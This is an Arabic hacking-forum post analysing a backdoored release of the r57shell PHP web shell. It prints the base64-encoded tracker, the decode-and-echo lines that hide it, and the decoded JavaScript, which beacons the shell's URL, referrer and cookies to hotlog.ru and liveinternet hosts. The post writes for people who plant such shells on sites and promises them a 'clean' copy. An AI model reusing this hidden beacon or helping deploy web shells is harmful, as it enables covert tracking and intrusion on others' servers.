منتديات القرصان

والله موضوع من زمان و هوا مشكوك فيه..
لكن في الأونة الأخيرة كان اخر اصدار لل r57shell
1.21 !!
و الاصدار الجديد طلع : 1.22 لكن كان برايفت و قيمته 10$

و بعدين بعد مدة نزلوه public للتحميل... و بعدين نزل اصدار تاني اجدد !!
لكن هل حد سأل نفسه ليه نزلوه للعامة !!
اكيد عشان هيستفيدوا

و انا بشوف الكود شوفوا لقيت ايه :

CODE

$c1 = & #34;PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG 9nX2pzPSIxLjAiO2hvdGxvZ19yPSIi
K01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIi ZwZz0iK2VzY2FwZSh3aW5kb**ubG9j
YXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iK yhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hv dGxvZ19yKz0iJmo9IisobmF2aWdhdG
9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4 yIj5ob3Rsb2dfanM9IjEuMiI7aG90b
G9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci 5hcHBOYW1lLnN1YnN0cmluZygwLDMp
PT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgb GFuZ3VhZ2U9ImphdmFzY3JpcHQxLjM
iPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19y Kz0iJmpzPSIraG90bG9nX2pzO2RvY3
VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9 wJz48aW1nICIrIiBzcmM9J2h0dHA6L
y9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aW R0aD0xIGhlaWdodD0xIGFsdD0xPjwv
YT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhc mdldD1fdG9wPjxpbWdzcmM9Imh0dHA
6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lk dGg9IjEiIGhlaWdodD0iMSIgYWx0PS
JIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";

CODE

c2 = & #34;PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdC BsYW5ndWFnZT0iSmF2YVNjcmlwdCI+
PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
IGhyZWY9Imh0dHA6Ly93d**ubGl2ZWludGVybmV0LnJ1L2NsaW NrIiAnKw0KJ3RhcmdldD1fYmxhbms+
PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVud C5yZWZlcnJlcikrKCh0eXBlb2Yoc2N
yZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyon KyhzY3JlZW4uY29sb3JEZXB0aD8NCn
NjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ 9ImxpdmVpbnRlcm5ldC5ydTog7+7q4
Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2 lkdGg9MCBoZWlnaHQ9MD48L2E+Jykv
Ly0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
ybmV0LS0+";

دول متغيرين فيهم حاجات مشفرة : base64
هو عبارة عن كود html و متقسم على المتغيرين...
تابع :

هنا فك تشفير المتغيرين و ضافهم على بعض في متغير جديد اسمه $f ;

CODE

$f = base64_decode($c1);
$f .= base64_decode($c2);

و نيجي للنهاية و في اخر سطر و من غير ما اي حد ياخد باله :

CODE

echo "</td></tr></table>$f";

/* -------------------------[ EOF ]------------------------- */
?>

طبعا لاحظنا ال $f ..... اللي هو المتغير المدسوس فيه الكود و هوا كود HTML
طبعا كلنا عارفين اكواد ال html اللي بيتعمل بيها counter
يعني بتعد عدد المستخدمين اللي دخلوا الصفحة...
و منها بيجيب حاجة اسمها ال Referer و هي الصفحة اللي وصل منها كل عدة عدها الكونتر فيما معناه لينك الشيل...

و الكود اهو :

CODE

<script language="javascript">hotlog_js="1.0";hotlog_r=""+ Math.random()+"&s=81606&im=1&r="+escape(********.r eferrer)+"&pg="+escape(******.location.href);docum ent.******="hotlog=1; path=/"; hotlog_r+="&c="+(********.******?"Y":"N");</script><script language="javascript1.1">hotlog_js="1.1";hotlog_r+ ="&j="+(navigator.javaEnabled()?"Y":"N")</script><script language="javascript1.2">hotlog_js="1.2";hotlog_r+ ="&wh="+screen.width+'x'+screen.height+"&px="+( ((n avigator.appName.substring(0,3)=="Mic"))?screen.co lorDepth:screen.pixelDepth)</script><script language="javascript1.3">hotlog_js="1.3"</script><script language="javascript">hotlog_r+="&js="+hotlog_js;d ocument.write("<a href='http://click.hotlog.ru/?81606' target='_top'><img "+" src='http://hit4.hotlog.ru/cgi-bin/hotlog/count?"+hotlog_r+"&' border=0 width=1 height=1 alt=1></a>")</script><noscript><a href=http://click.hotlog.ru/?81606 target=_top><imgsrc="http://hit4.hotlog.ru/cgi-bin/hotlog/count?s=81606&im=1" border=0width="1" height="1" alt="HotLog"></a></noscript><!--LiveInternet counter--><script language="JavaScript"><!--
********.write('<a href="http://www.liveinternet.ru/click" '+
'target=_blank><img src="http://counter.yadro.ru/hit?t52.6;r'+
escape(********.referrer)+((typeof(screen)=='undef ined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.co lorDepth?
screen.colorDepth:screen.pixelDepth))+';'+Math.ran dom()+
'" alt="liveinternet.ru: ïîêàçà&iacute;î ÷è&ntilde;ëî ï&eth;î&ntilde;&igrave;î&ograve;&eth;îâ è ïî&ntilde;&aring;&ograve;è&ograve;&aring;ë&aring; é çà 24 ÷à&ntilde;à" '+
'border=0 width=0 height=0></a>')//--></script><!--/LiveInternet-->

طبعا في كتير شلات بيكون عليها باسوورد
لكن في نفس الوقت شوفوا كام شل مش عليه و كام شيل بالباسوورد الأصلي


انا بس حبيت انبه الكل انهم يتأكدوا من جميع الأدوات قبل استخدامها

و دا لنك لنسخة نظيفة من الشيل :